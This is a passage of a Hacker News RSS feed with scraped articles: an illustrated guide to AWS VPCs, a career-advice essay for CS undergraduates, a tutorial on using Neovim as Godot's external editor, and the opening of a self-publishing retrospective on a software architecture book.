<![CDATA[Hacker News - Small Sites - Score >= 1]]> https://news.ycombinator.com RSS for Node Sun, 19 Jan 2025 12:24:34 GMT Sun, 19 Jan 2025 12:24:34 GMT 240 <![CDATA[Creating wrappers for Windows exe files using Homebrew and Wine]]> thread link) | @ingve
January 19, 2025 | https://flaky.build/creating-wrappers-for-windows-exe-files-using-homebrew-and-wine | archive.org

Unable to extract article]]>
https://flaky.build/creating-wrappers-for-windows-exe-files-using-homebrew-and-wine hacker-news-small-sites-42756368 Sun, 19 Jan 2025 12:13:50 GMT
<![CDATA[An illustrated guide to Amazon VPCs]]> thread link) | @mrlucax
January 19, 2025 | https://www.ducktyped.org/p/why-is-it-called-a-cloud-if-its-not | archive.org

Back to index

In this section, I talk about why VPCs were invented and how they work. This is critical to understand because almost everything you do in AWS will happen inside of VPC. If you don't understand VPCs, it will be difficult to understand any of the other networking concepts.

If you're reading this, maybe you have one of these

an app

and you just found out that to put your app on AWS, you need all of this:

complex diagram of a VPC, subnet, IGW, etc

And you have no idea what VPCs, subnets and so on are.

I'll help you learn about all those pieces. A little about me, I’m a long-tailed duck, and I run a business selling phones to hackers, called Blackhatberry. Now let's get started.

This is the story of VPCs, our first big topic. Many moons (and suns) ago, some AWS engineers were sitting in a room. They had a serious issue.

drawing of ducks around a table

"Guys, lets talk business. Why aren't more companies moving to AWS?" they said.

"Maybe because all instances run in a single shared network, which means users can access each other's instances, and see each other's data," someone said.

"Maybe because it's hard for them to move their existing servers to AWS, because of IP address conflicts," someone else said.

"Wait… what are IP address conflicts?”

“And existing servers? Shouldn’t they be moving to our servers?”

This is the first reason people weren’t switching to AWS. Here's what I mean by IP address conflicts. I own a bunch of servers for Blackhatberry. One of them has the IP address `172.98.0.1`. Now, my neighbor also has a server for her business. She loves my ip address. “Ah, 172.98.0.1, what a beautiful destination,” she says. So she copies my address! Now we both have servers with the same IP address!

two networks, same ip address

Sidebar: You can find your local IP address using `ipconfig getifaddr en1` (works for Macs for wireless internet connections).

Now you're thinking "so what?". And actually... you're totally right. Even though our servers have the same IP address, they are in different networks, so it's not an issue.

But here comes trouble. Because we both want to get on AWS. But if we have two servers with the same IP address on AWS, that's a problem!

two machines in AWS with the same IP address and the text uh-oh

Bam: IP address conflict. Every server in a network needs to have a unique IP address for the same reason that every house in a city needs to have a unique address. Otherwise, if someone has a package, they wouldn't know which house to deliver it to.

Now I know what you're thinking. Why don't you just get new servers in AWS? Why connect your on-prem ("on premise") servers to AWS? Isn't the whole point that you're moving to AWS?

And sure, we can afford to do that, but there are companies with dozens of on-prem servers. Migrating everything to AWS is simply not an option for them. They need functionality so they can create new servers in AWS, but also connect their existing, on-prem servers into the same network. And this does not work when everyone is part of the same network, because if IP address conflicts.

This was a huge problem for AWS! I mean, see how serious these engineers look:

ducks around a table again

This IP conflict issue meant people with on-prem servers had no easy way to gradually move to AWS. Think of all the potential customers they were losing!

Two charts. The one on the left shows rapid growth and is captioned "desired growth: hockey stick". The one on the right shows flatlined growth with the caption "current growth: stick".

I'm giving you this background so you can understand why VPCs were invented. IP address conflicts weren't the only issue. In AWS, everyone's servers used to be on the same network, which meant if you were careless, it was easy for anyone to connect to your server and look at all kinds of sensitive data!

A drawing of many servers in a circle, with the caption "everybody's servers on the same network!"

For both these reasons, Amazon needed to give each customer their own private network, instead of having them all on the same shared network. And so VPCs were born.

So there are two problems we're trying to solve:

  1. IP address conflicts

  2. The fact that users can access each other's instances because they're in one big shared network.

Remember: duplicate IPs were totally fine when my network and my neighbor's network were separate. What Amazon needed was a way to give each person their own private network, but inside AWS. That way, they could bring their IP addresses with them, and they wouldn't conflict with anyone else's IP addresses.

Maybe you're wondering, "why can't we just change the IP addresses so all machines have a unique IP address?" Well, in networking, you set up some things based around specific IP addresses (I'll get to exactly what stuff later), so that idea would require a lot of work in practice.

Separate networks would also solve the security problem.

By the way, why am I spending so long on VPCs? Isn't this post about putting one of these

ya app

on one of these?

da cloud

Two reasons.

  1. Because everything we will build happens in a VPC, so it's the starting point for things.

  2. Because a VPC is not something you can see, and I like to visualize my internet architecture. Other people visualize it in a way that's really confusing for me, and I want to make it less confusing for you.

I have read guides (such as the AWS docs) where people visualize a VPC like this. First, they'll say, "Oh yeah, I created a new VPC with four subnets inside it, in two availability zones".

And they'll draw an image that looks like this:

A drawing of two availability zones inside a region with a VPC overlaid on both availability zones.

But less pretty obviously – this is what theirs look like:

A VPC with an internet gateway and subnets in three Availability Zones.

(Taken from the AWS VPC docs)

Now,

  • a region is a place you can go to,

  • and an availability zone has data centers you can walk inside, that hold lots of servers.

Both of those are physical places. But what is the VPC? Is it a big tarp that sits on top of the data centers? Is it a dark fog? Is it a general feeling of unease that blankets the region, as all the data centers play Radiohead's "Fitter, Happier" on repeat?

…what is it?

We've talked about why AWS needed VPCs, and the idea behind VPCs, but how are they implemented? How do they actually work?

Your instances in AWS always run inside a VPC. But in real life, of course, your instances are just running on servers in AWS datacenters.

You may have many instances running on many different servers. How does Amazon connect these instances, across different servers, into their own private network? It uses something called the mapping service.

Suppose I have an instance A on server 1, and I want to talk to another instance B on server 2.

A picture of two servers with an instance on each

All instance A knows is the IP address for instance B. It hits the mapping service with that IP address. The mapping service then checks what VPC instance A is in, finds the instance with that IP in that VPC, and forwards the request to it.

A picture of two servers with an instance on each and a box representing a mapping service in the middle.

That "in that VPC" part is important. The mapping service makes it so me and my neighbor can both have instances on AWS with the same IP, but when I hit that IP address, the mapping service will connect me to the instance in my VPC, and when my neighbor hits that IP address, the mapping service connects them to the instance in their VPC.

A picture of two VPCs inside AWS, both with servers that have the same IP address.

The mapping service is what ensures that we can never connect to each other's instances. Through the mapping service, all my instances are connected together, and they can have any IP address I want, because it's like they're namespaced to me. The mapping service is what creates the private network inside AWS for me.

So when you think VPC, picture a service that connects all these instances together.

A drawing of two servers running a bunch of instances, all connected to each other

Going back to this image, we can now understand what it means:

A picture of two availability zones in a region with a VPC box overlaid on both availability zones

That VPC box just means the scope of the mapping service. A mapping service can connect EC2 instances that are on servers in different availability zones, which is why the VPC is overlaid over the two availability zones. But the mapping service can't connect instances in different regions, so the VPC doesn't span regions.

Today everything happens in VPCs. Your instances are always in a VPC. Everyone gets a default VPC when they open an AWS account. We no longer have the issue where users can access each other's instances, and we don't have the IP collision issue either.

So we find out that they don't play "Fitter, Happier" in the data centers after all. Maybe it's just a recording of Jeff Bezos singing "Money" by Pink Floyd.

drawing of Jeff Bezos singing "Money" by Pink Floyd

Throughout this guide, I'll show you how to create AWS resources using Terraform. I find Terraform easier to follow than point-and-click on the AWS console, because you can just copy the code and run it.

Here's the Terraform code to create a VPC:

resource "aws_vpc" "main" {
  cidr_block       = "10.0.0.0/16"
}

In any Terraform file, you'll also need a couple of boilerplate blocks for terraform and provider. The full code listing is here. You can apply this code to create a new VPC. Ignore the cidr_block part for now, I'll discuss CIDR in more detail in a future section.

image showing the summary text below
  • In AWS, every customer has their own private network called the VPC.

  • Without private networks, we run into IP address collisions.

  • Without private networks, everyone is on the same network, which is really bad for security.

  • VPCs are implemented using the mapping service.

duck saying 'the end'
]]>
https://www.ducktyped.org/p/why-is-it-called-a-cloud-if-its-not hacker-news-small-sites-42756251 Sun, 19 Jan 2025 11:50:53 GMT
<![CDATA[Escaping flatland: career advice for CS undergrads]]> thread link) | @aravindputrevu
January 19, 2025 | https://space.ong.ac/escaping-flatland | archive.org

tl;dr: a message to myself, and to incoming CS undergrads.

even if impostor syndrome hits hard, you’re all smart and competent people. and you’re now smart and competent enough that everyone wants a piece of your potential.

there’s a whole ecosystem of people with financial stakes in shaping your career choices, ready to sell you compelling stories about what you ‘should’ do with your life. and it’s surprisingly easy to absorb one of these narratives and mistake it for your own beliefs.

don’t get stuck in flatland: there are far more possible career paths than the options being marketed to you, and you’re more than capable of figuring out what’s actually meaningful to you and pursuing it.


(apparently I need to make it clear that this is satire. source: reddit)

subcultures as planes of legibility

I’ve just finished my undergraduate degree at Cambridge, where I studied computer science.

for us computer scientists, our world has a bunch of scenes, often (but not exclusively) mapping onto career trajectories: the quantitative traders, the entrepreneurs, the corporate software engineers, the researchers, the makers, the open-source hackers.

one way to characterise a scene is by what it cares about: its markers of prestige, things you ‘ought to do’, its targets to optimise for. for the traders or the engineers, it’s all about that coveted FAANG / jane street internship; for the entrepreneurs, that successful startup (or accelerator), for the researchers, the top-tier-conference first-author paper… the list goes on.

for a given scene, you can think of these as mapping out a plane of legibility in the space of things you could do with your life. so long as your actions and goals stay within the plane, you’re legible to the people in your scene: you gain status and earn the respect of your peers. but step outside of the plane and you become illegible: the people around you no longer understand what you’re doing or why you’re doing it. they might think you’re wasting your time. if they have a strong interest in you ‘doing well’, they might even get upset.

but while all scenes have a plane of legibility, just like their geometric counterparts these planes rarely intersect: what’s legible and prestigious to one scene might seem utterly ridiculous to another. (take, for instance, dropping out of university to start a startup.)

we’re all stuck in flatland

I sometimes have undergrads asking me for career advice. they tend to ask questions about what they ‘should’ be doing, or how they can do it better: what do I need to do to get an internship at $BIG_CORP? how do I get a first-author paper at a conference? is it better for me to go into quant trading or software engineering or research?

rather than answering their question directly, I like to poke at what makes them feel they ‘should’ do the thing in the first place. what motivates you? why do you do what you do?

I’m always pleasantly surprised by how willing they are to engage with this. but more often than not, they say something like “of course you need to do X, that’s just … the thing we’re meant to do at this stage, right?” and when I poke at this a bit more, they often realise they don’t actually have an answer for ‘what motivates them’ that they themselves feel satisfied with.

the claim I’d make here is that many of these undergrads are stuck in flatland. they’re operating within some plane of legibility, adopting its goals and markers of prestige, maybe occasionally acknowledging the existence of other planes at points where they intersect. but they never quite realise that the plane they live in isn’t the only plane in the world — and, importantly, never explicitly make the choice to inhabit that particular plane as opposed to any other.

(yes, I fell victim to this myself. as an undergrad, a lot of what I chose to do was — and, in some ways, still is — constrained by the planes of legibility of the scenes I was surrounded by back then. and in part this essay is a letter to 19-year-old euan, who really ought to have known better.)

”… one way you know that something is an institution is that you don’t have to give reasons for it. Getting a college degree, like getting married, is what people do.” ~ haquelebac

stumbling into a plane

so what makes people enter a particular plane in the first place? in large part, it’s mimetic: we come to desire what others desire.

when you get to university you’re confused. suddenly no one’s telling you what you’re meant to do with your life. the last hoop ‒ getting into your university of choice ‒ has been jumped, and your hindbrain is itching for the next thing. (indeed, when talking to students, I’ve had some even go as far as to say “all through high school, my motivation was to get into Cambridge, and now I don’t really know what to do.”)

and in any case, there are already very obvious paths through very obvious planes. everyone’s looking for big tech internships; everyone’s looking for spring weeks.

perhaps, after a secondary-school-education’s worth of brutal zero-sum competition, the instinctive thing to do is to step into the next brutal zero-sum competition. after all, you’ve learned to win, and if all the big fish are in that one small pond, it must be a really prestigious pond, so the only way to win is to jump into it.

or perhaps you’ve been telling yourself you should eventually make a plan, but thinking about the future is hard, and university life is busy enough as it is: there’s always another problem set, always another lecture, always another social. “and everyone else is talking about that internship; I can’t go wrong by applying as well…”

and so it goes. absent any better ideas of your own, it’s very easy to get swept up into other people’s planes, and into their visions of what you (or they) should be doing: the spring weeks your friends are applying to; the jobs that cool people in the years above you are starting; the career advice you get from your family. you see other people competing for the same prestigious internships and you begin to want them too, not necessarily because they align with the things you care about, but simply because they are what others desire.

you are in a plane, and you probably didn’t get there on your own.

snakes in the planes

so university is already a mimetic nightmare, and we already don’t have much control over the planes we end up in. but what’s worse is that some companies have learned this, and are using it as a recruitment tactic.

for instance, in Cambridge CS (and elsewhere), there is a very strong internship culture. this culture

  • (a) makes it seem like doing an internship is the only socially-acceptable way to spend one’s summer,
  • (b) disincentivises people from looking for opportunities beyond a standard list of Prestigious Internships, and
  • (c) leads to lots of people spending painful amounts of time applying to internships (writing cover letters, grinding leetcode) — often not even because they necessarily want to do the internship, but because this is just the thing that’s expected of them.

to be clear, there are very good reasons for some of this culture to exist: for a computer scientist who wants to go into software engineering, internships provide real-world experience that you just won’t get in an academic environment, and act as a good signal to future employers that your software engineering skills are above some competency bar. but there are many other interesting things one can do with one’s summer besides a conventional internship1 — e.g. doing a UROP, building a nuclear fusor, starting a startup, playing around with crazy type systems, couchsurfing cool projects in San Francisco, convincing OpenAI to start an internship program — and the prevailing culture heavily discourages people from trying them.2

how did this culture get so strong? in large part, it’s being heavily optimised-for by the companies themselves. since university is such a mimetic nightmare, and it is in the midst of this that students choose what planes to inhabit, a little nudging on the part of a company can quickly suck confused students into their plane, and shift their life plans en masse.

notably, a few firms — particularly in quantitative trading — have put enough effort into maintaining presence and visibility in Cambridge that they’ve positioned themselves as both the default option and the prestigious option. they host fancy dinners and high-quality nerdy events, hand out unlimited merch, and sponsor all the technical societies;3 once, they even mailed small care packages of sweets to all first-year CS students just before their exams.

now, from the perspective of the trading firms, this is a drop in the (financial) ocean: the amount spent on Cambridge per year is almost certainly less than the average quant trader’s annual salary. but for the undergraduates, this level of attention on campus is a massive reality distortion field (and talent attractor). consider: trading firms aren’t household names; indeed, very few people had heard of them before starting at Cambridge.4 but once you join, everyone around you is wearing their t-shirts, everyone you know is applying to their internships, you probably applied too, and if you get an offer you’ll very likely take the internship. (I certainly did.)

so what emerges is a profoundly asymmetric market: on one side, confused undergraduates figuring out what to do with their lives, and on the other, corporate juggernauts with nine-figure budgets and precision-engineered recruitment machines. and for the companies it’s an insanely good deal. judging by salaries alone, the best Cambridge CS grads are probably worth millions of pounds in generated value… yet they can often be bought for little more than the price of a fancy dinner and a pack of sweets.


important caveat: I’m not trying to say “internships bad” or “quant bad” or anything like that. (in fact, during my undergrad, I did end up doing both of these things.) what I really wanted to convey here is that these internships live in a plane of manufactured legibility.

in other words, all this is just to say: by all means apply to internships. but just make sure you know why you’re applying — whether for the skills, for the signalling value, for the money, or for whatever other reason — and make sure this is truly a decision that’s good for you, not just for the company trying to poach you. (for many of you, especially those of you with legible signal before starting university, a lot of companies are about to notice you and start trying to poach you. you’re about to be wined and dined and fawned over and invited to many many coffee chats. there is no such thing as a free lunch. you have been warned.)

… so, what should I do with my life?

I have my own views on what I’d like to see more people doing: which planes seem overcrowded, which planes feel neglected but promising. but the last thing I want to do is to tell people what they should do with their lives.

all I want is for people to at least make an informed decision about what they want to do with their lives. to step out of the plane they’re operating in ‒ to leave flatland ‒ and to realise how the things they do could look very different in different planes.

to see the set of all planes, and say ‒ I explicitly want to live in this plane, I explicitly want to adopt its value functions, because these align with the things I care about. (you will become increasingly like the other people in the plane you choose. this can be a very good thing… or a very bad thing.)

or ‒ even better ‒ to go rogue, to never quite settle for any specific plane, but rather to steer a narrow path through their intersections while being mindful of how it projects down into each of them. (note that this does not mean ‘drop out of college and become an autodidact in the mountains’. nor does it mean ‘do all the shiny things in all the shiny fields for maximum optionality’.)


so, where do you go from here? no advice post is complete without its summary listicle, but at this point, providing a step-by-step ‘guide to career success’ would simply be giving a map of some arbitrary plane.

instead, here are a few high-level prompts that might help you escape flatland. (as usual, the law of equal and opposite advice applies.)

  • try lots of things. build stuff. research stuff. go to random talks. go to random societies. look at stuff that piques your interest, even if it seems weird or sus or irrelevant or illegible or unprestigious or uncool. (but if it seems sus, try to work out why! do not completely turn off your susness detector.)
    • exploration heuristic from patrick collison: “do your friends at school think your path is a bit strange? If not, maybe it’s too normal.”
  • try to grok as many planes as possible. what motivates these people? what gives legibility and status in that plane? who — or what — decides who gets it? be a good anthropologist, and talk to people outside your bubble.
    • check back later for a (non-exhaustive) list of planes.
  • you don’t have to settle or grind (yet). careers are long; you are talented and have more time than you think. don’t sell your soul to a memeplex without understanding the full terms of the contract.
    • prompt: “when was the last time I did something that no one else cared about but me?”
  • beware of old people with money who want to use you as a missile. as an undergrad, your career path is maximally flexible and your skillset is minimally specialised: you’re a missile that can in principle be pointed at any technical problem. many older people have strong monetary incentives to point you at problems they care about, and to convince you to do things that may not be for you but rather for them.
    • in particular: around ambitious young people, there’s sometimes a pressure to rush through life, or cancel all your life plans to jump on opportunities that might not be around for long. beware this contagious sense of panic. and, in particular, beware older people creating narratives of urgency to convince you to change your life plans.5
  • all the same, don’t pass up on opportunities to stay legible at low cost to your values. for instance, even if you despise the corporate world, having a big-tech internship will help convince people (funders, collaborators, …) that you know how to write decent software.6
    • appearing legible to lots of different planes at once can also be useful. if done well, it also has the advantage of forcing more exploration.
    • be a pragmatic idealist. it might hurt to admit defeat in the face of Institutions, but not all battles are worth fighting. save your energy — and credibility with Institutions — for the ones that actually matter.
  • and remember that everything is a plane. there’s a co-working group I used to run at Cambridge, for students to work on their passion projects. it’s still one of my favourite planes (and one of the most self-aware) — but it’s still a status game, where (a harsh caricature of) the high status play is “to be unconventional, to have disdain towards quantitative finance, and to be doing side projects that look complex, intellectual and not too clichéd”.
    • (this essay is also a plane.)
  • above all, trust your gut (insofar as it isn’t blatantly trapped in a plane), and break any of these rules sooner than doing anything outright barbarous.

acknowledgements

this post is in large part drawn from a very insightful conversation I had with David Yu, the organiser of SPARC — if the ideas here resonate with you, you’ll probably like the program (or its European versions).

almost all the inline links were courtesy of Gavin Leech, who continues to have impeccable taste in blogposts.

thank you also to everyone else who helped shape this work, either through their past writings or their direct feedback: Malaika Aiyar, Penny Brant, Xi Da, Lucy Farnik, David Girardo, Uzay Girit, Minkyum Kim, Jinglin Li, Dylan Moss, Adithya Narayanan, Lydia Nottingham, Abdur Raheem, Agniv Sarkar, Martynas Stankevičius, Daniel Vlasits, Dan Wang, Jack Wiseman, Eric Zhang (in alphabetical order)

  1. these are all real examples of things my friends have done over the summer

  2. so much of this is about defaults! nudge theory is powerful: people rarely look beyond what’s presented to them upfront…

  3. this one is particularly insidious. often, well-intentioned sponsorships officers accept strict exclusivity clauses and branding / promotion requirements in order to get a few thousand pounds extra for free pizza at society events. but at some point, one has to ask — at what point is ‘free’ pizza outweighed by the costs of a few companies monopolising student mindshare?

  4. though apparently this is starting to change, as the maths olympiads are now sponsored by quant trading firms…

  5. you might feel that some problems are urgent and important enough for you to cancel your life plans and work on them right now. this may be true! but if this is indeed the case, let it be something that you determine for yourself, rather than something that Older People pressure / scare / coerce you into doing.

  6. whether it always implies the ability to write software is, of course, a separate matter.

]]>
https://space.ong.ac/escaping-flatland hacker-news-small-sites-42755860 Sun, 19 Jan 2025 10:45:22 GMT
<![CDATA[Neovim as External Editor for Godot]]> thread link) | @dulvui
January 19, 2025 | https://simondalvai.org/blog/godot-neovim/ | archive.org

19. January 2025

Since some months now, I'm happily using Neovim as an external editor with Godot Engine 3 and 4. Godot's internal text editor is fine, but my desire to use Neovim was too big.

This blog post covers a minimal setup to get Neovim working with Godot. So you can integrate it directly to your existing configuration or use it as a starting point.

Please note that some minimal knowledge about Linux and Neovim config files is needed to follow this blog post.

Technically you can also just use Godot with vanilla Vim/Neovim with no further changes. But you might miss some features like opening files when clicked in the file explorer or LSP support.

So lets set this up to let Godot add some magic to Neovim.

Neovim server mode

Before you can set Neovim as external editor in Godot, you need to start Neovim in server mode. Additionally to that, a pipe file is needed, where Godot can send commands to Neovim.

But first lets first create the nvim cache directory, where the file will be located.

mkdir -p ~/.cache/nvim

Now you can add the following code to the init.lua file.

local pipepath = vim.fn.stdpath("cache") .. "/server.pipe"
if not vim.loop.fs_stat(pipepath) then
  vim.fn.serverstart(pipepath)
end

This will create the pipe file and start Neovim in server mode on startup.

There is room for improvements here, like to start server mode only, if a project.godot file is found. So there is no issue if you run multiple instances of Neovim. With the current setup, only the first instance opened, will receive the commands.
I will update this section, when I find a better solution or if you already have one, please let me know.

Godot Editor Settings

Now Neovim is ready to be set as external editor in Editor Settings > Text Editor > External.

A screenshot of Godot's Editor Settings for external Text Editors

There you need to set the following values:

  1. Enable Use External Editor.
  2. Set Exec Path to the Neovim path.
  3. Set Exec Flags to the following line.
--server /home/YOUR_USER/.cache/nvim/server.pipe --remote-send "<C-\><C-N>:e {file}<CR>:call cursor({line}+1,{col})<CR>"

Remember to replace YOUR_USER with your username.

This line will make Neovim open the file in a buffer and move your cursor to the indicated line and column. The +1 in cursor({line}+1) is to go to the correct line. For some reason without +1, the line above is selected.

Now you can use Neovim as external editor in Godot and open files with it.

LSP support

Godot has a built-in Language Server Protocol, that gives you features like code competition, error highlights and function definition lookups.

First you need to install the Neovim LSP plugin and set it up. I will use vim-plug as my plugin manager.

Plug('neovim/nvim-lspconfig')

local lspconfig = require('lspconfig')
lspconfig.gdscript.setup{}

Now you can access all special features when opening GDScript files.
You can try code competition with Ctrl + x and Ctrl + o. This will suggest also all class names, function names etc in your Godot project.
With Ctrl + ] you can jump to the definition of a function.

There can be issues with the LSP, like auto complete giving no results. In this case you can try restarting the LSP plugin with the command :LspRestart, or simply restart Neovim.

Keep in mind that the LSP runs within Godot, so you need a running editor instance with your project open.

Treesitter

To get better colored code highlighting, Treesitter does a perfect job. This plugin does also a lot of other things, like building a tree structure of your code. Other plugins might use that tree for better manipulation of your code.
But I use it only for nicer colors (probably, I'm not sure).

Plug('nvim-treesitter/nvim-treesitter', { ['do'] = ':TSUpdate' })

require'nvim-treesitter.configs'.setup {
    ensure_installed = {'gdscript', 'godot_resource', 'gdshader'},
    highlight = {
        enable = true,
    },
        auto_install = false,
        disable = function(lang, buf)
        local max_filesize = 100 * 1024         local ok, stats = pcall(vim.loop.fs_stat, vim.api.nvim_buf_get_name(buf))
        if ok and stats and stats.size > max_filesize then
            return true
        end
    end,
}

This setup of treesitter includes also some configuration. The plugins gets disabled for files bigger than 100KB, to keep opening Neovim fast. With auto_install = false, new languages don't get installed automatically, when opening a file of the respective language. Only the languages defined in ensure_installed are installed.

Here you can see a side by side comparison of Treesitter disabled on the left and enabled on the right.

A screenshot a side by side comparison of Treesitter disabled on the left and enabled on the right in Neovim

Neovim already can colorize some of the code, but Treesitter can do it better.

Debugging

Godot has a built-in DebugAdapterProtocol, so it is directly integrated with Godot, exactly as the LSP. There are many Neovim Debug plugins out there, if you are already familiar with one, it's worth to check out if it supports Godot.

While writing this blog post, I used to have nvim-dap installed. This can attach to Godot's DAP and allow you to set breakpoints or run the game from Neovim. Then I also tried nvim-dap-ui, that adds the needed UI with variable values etc. to Neovim. But with this setup, I faced several crashes of Godot and a inconsistent workflow. So I found, in my opinion, and more stable and easier way to debug.

To be honest, the Godot's debug UI is hard to beat, with the remote tree inspector and all the rest. Secondly another huge problem for my game: launching specific scenes. I searched the web and haven't found a way to open a specific scene with nvim-dap.

I often run specific scenes, since my latest game got quite big. Having to start from the main scene every time, can get quite frustrating.
But you can run specific scenes from the editor, right? Yes! But somehow Godot get's the breakpoints set with nvim-dap, only when started with nvim-dap.

So I had to ask myself: how the f*ck was I debugging the last months??
And well, the ansewer is easy, I actually was not using nvim-dap, but the breakpoint keyword.

The following code will print Hello and then break and wait.

func _ready() -> void:
    print("Hello")
    breakpoint
    print("world!")

This can have the disadvantages that you need to write it, and remember to remove it. No worries, it won't break your game when exported. This keyword only works, when the project runs inside a Godot editor.

But the advantages are, that this breakpoints are written code, so they are persistent and can be shared with other developers or machines. And there is no need for an additional Neovim plugin.

The best part of all this, I wrote my first custom Neovim functions/commands (or however they are called). Seeing for the first time, why Neovim is so fun and truly hackable.

vim.api.nvim_create_user_command('GodotBreakpoint', function()
    vim.cmd('normal! obreakpoint' )
    vim.cmd('write' )
end, {})
vim.keymap.set('n', '<leader>b', ':GodotBreakpoint<CR>')

vim.api.nvim_create_user_command('GodotDeleteBreakpoints', function()
    vim.cmd('g/breakpoint/d')
end, {})
vim.keymap.set('n', '<leader>BD', ':GodotDeleteBreakpoints<CR>')

vim.api.nvim_create_user_command('GodotFindBreakpoints', function()
    vim.cmd(':grep breakpoint | copen')
end, {})
vim.keymap.set('n', '<leader>BF', ':GodotFindBreakpoints<CR>')

GodotBreakpoint adds the "breakpoint" String below the line the cursor is on, indented correctly.
GodotDeleteBreakpoints deletes all breakpoints lines in the current buffer.
GodotFindBreakpoints finds all breakpoints in the current project.

Now its possible to write, delete and search breakpoints within Neovim with simple keymaps.

Finally you need to enable also Debug with External Editor under the Script view. If this flag is not set, the internal editor will open while debugging.

Screenshot of the settings to be enabled for Debug with External Editor

Godot documentation

You can read documentation for a function with Shift + k, while the cursor is on a function. If you want to read or search Godot's full offline documentation, you can still do that in the Editor with the Search Help button. This will open the documentation in Godot's built-in editor.
I don't know if it's even possible to open also this files in Neovim, but for me this is totally fine.

Full Neovim configuration

Here you can find the full init.lua file, ready to be hacked and extended.
You can find my personal full Neovim configuration in my dofiles repo on Codeberg and Github. This contains some more plugins, color schemes and configurations.

local vim = vim
local Plug = vim.fn['plug#']
vim.call('plug#begin')
Plug('nvim-treesitter/nvim-treesitter', { ['do'] = ':TSUpdate' })
Plug('neovim/nvim-lspconfig')
vim.call('plug#end')

local pipepath = vim.fn.stdpath("cache") .. "/server.pipe"
if not vim.loop.fs_stat(pipepath) then
  vim.fn.serverstart(pipepath)
end

local lspconfig = require('lspconfig')
lspconfig.gdscript.setup{}

require'nvim-treesitter.configs'.setup {
    ensure_installed = {'gdscript', 'godot_resource', 'gdshader'},
    highlight = {
        enable = true,
    },
        auto_install = false,
        disable = function(lang, buf)
        local max_filesize = 100 * 1024         local ok, stats = pcall(vim.loop.fs_stat, vim.api.nvim_buf_get_name(buf))
        if ok and stats and stats.size > max_filesize then
            return true
        end
    end,
}

vim.api.nvim_create_user_command('GodotBreakpoint', function()
    vim.cmd('normal! obreakpoint' )
    vim.cmd('write' )
end, {})
vim.keymap.set('n', '<leader>b', ':GodotBreakpoint<CR>')

vim.api.nvim_create_user_command('GodotDeleteBreakpoints', function()
    vim.cmd('g/breakpoint/d')
end, {})
vim.keymap.set('n', '<leader>BD', ':GodotDeleteBreakpoints<CR>')

vim.api.nvim_create_user_command('GodotFindBreakpoints', function()
    vim.cmd(':grep breakpoint | copen')
end, {})
vim.keymap.set('n', '<leader>BF', ':GodotFindBreakpoints<CR>')

What I miss in Neovim

So far the biggest feature I miss, is the easy Ctrl + drag and drop of a Node into the text editor. This will automatically create the var with the correct Nodepath.

After some time I found a much better approach by using % and Access as Unique Name. With this you can access the Node, without having to write the full Node path.


@onready var healt_label: Label = $MarginContainer/HBoxContainer/VBoxContainer/HealthLabel

@onready var healt_label: Label = %HealthLabel

Another crucial advantage is that you can move the Node around the tree, or change parent Nodes, without having to adjust the path.

At the end of the day, being able to use Neovim pays back anyways, if you like it and are keen to keep learning. Or you already know everything about Vim/Neovim, but let's be honest, nobody does.

Every feedback is welcome

Feel free to write me an email at info@simondalvai.org and comment on Mastodon or HackerNews.

]]>
https://simondalvai.org/blog/godot-neovim/ hacker-news-small-sites-42755603 Sun, 19 Jan 2025 09:54:10 GMT
<![CDATA[The Raw Truth About Self-Publishing My First Technical Book]]> thread link) | @thunderbong
January 18, 2025 | https://newsletter.fractionalarchitect.io/p/45-the-raw-truth-about-self-publishing | archive.org

A week ago, my “Master Software Architecture” book reached a milestone: 800 copies sold (combining ebooks and physical copies). While I am incredibly happy about this achievement, you might wonder: is this a lot compared to what I planned? That is one of the many topics I will explore in today's post.

I want to share the complete journey with you, answering questions like: How much has the book earned? Why did I choose the self-publishing route over a traditional publisher? How did I plan and execute the writing process? What were my initial expectations? How did I figure out the right pricing? And what are the pros and cons I have discovered along the way?

My hope is that by sharing this story—from its very beginning until now—I can help you make a good decision if you are considering writing your own technical book.

They say if you don't know where to start, start at the beginning. So that is exactly what I will do.

The story begins in 2012, at the start of my professional programming journey. Like any junior developer, my main concern was simply surviving another month without making a fool of myself. My knowledge was limited, but it was just beginning.

As the years passed, I found myself exploring various areas of software development. From infrastructure to backend, frontend to third-party integrations, I eventually became a part-time consultant (next to my full-time job) specializing in payment providers and authentication systems.

Each new project offered a different perspective on software development. I worked with legacy systems and greenfield projects, in both hierarchical and flat organizations, from small startups to large enterprises. Looking back, it is amazing how quickly time flew by and how much I learned from both my mentors and the challenges I faced.

Around 2020, my perspective on software systems fundamentally shifted. After witnessing numerous systems built with unnecessary complexity, I began focusing on two key principles: simplicity and evolution.

But let me be clear: simplicity does not mean stupidity. A well-designed system can adapt and grow, regardless of future changes. You can follow and adapt patterns to meet your business needs—whether that means starting with a simple App Service and later migrating to Kubernetes, or evolving today's modular monolith into tomorrow's distributed system.

I frequently received feedback like “I didn't think about it this way” or “It opened my eyes.” This was the trigger that inspired me to write a book, sharing my thought process that had proven successful in 80% of the situations I encountered. Of course, it will never be a silver bullet covering 100% of cases. When you hear about a “magical” method that is “the” way, remember it is just “a” way—one of many possibilities.

In 2022, I began collecting materials and created what I thought was a rough plan (though looking back, I would hardly even call it that). While I initially planned to write the book in 2023, a full-time opportunity in artificial intelligence—a field I had been interested in since my studies—took priority.

When 2024 arrived, I made a decisive choice: this would be the year I finally wrote my book. I left my full-time job to focus on this goal. Interestingly, I had two potential books in mind, so I created a LinkedIn poll to let my audience help decide which one I should write.

As you can see, the margin wasn't overwhelming—55% versus 45%. Still, the decision was made: “Ode To Software Architecture” would be my focus. That LinkedIn post on March 21, 2024, marked the beginning of what would become five months of intense work and dedication.

One of the first crucial decisions you will face is choosing between self-publishing and working with a traditional publisher. Both paths have their advantages and drawbacks—what matters is understanding what is important to you and whether you can manage the self-publishing journey independently.

Here are the key factors I considered:

  • Reach. If you don't have a significant following (like Gergely Orosz, for example), reaching a broad audience with your first self-published book can be challenging—I learned this the hard way. After publishing, I dove into research about typical sales figures. The pattern became clear: first-time authors typically sell 200-300 books in their first year. For a self-published book, reaching 1,000 sales in the first year is considered a success.

  • Royalties. Based on publicly available information and discussions in the author community, traditional publishers typically offer an upfront payment of $3,000-5,000, with royalties of 5-8% on physical book sales and 10-20% on ebooks (sometimes after meeting certain sales thresholds). In contrast, self-publishing platforms (Leanpub, Gumroad, and others) offer 80-90% royalties on ebook sales. Physical book economics through print-on-demand services are less favorable (I earn something between $1-5 on each sale via Amazon KDP).

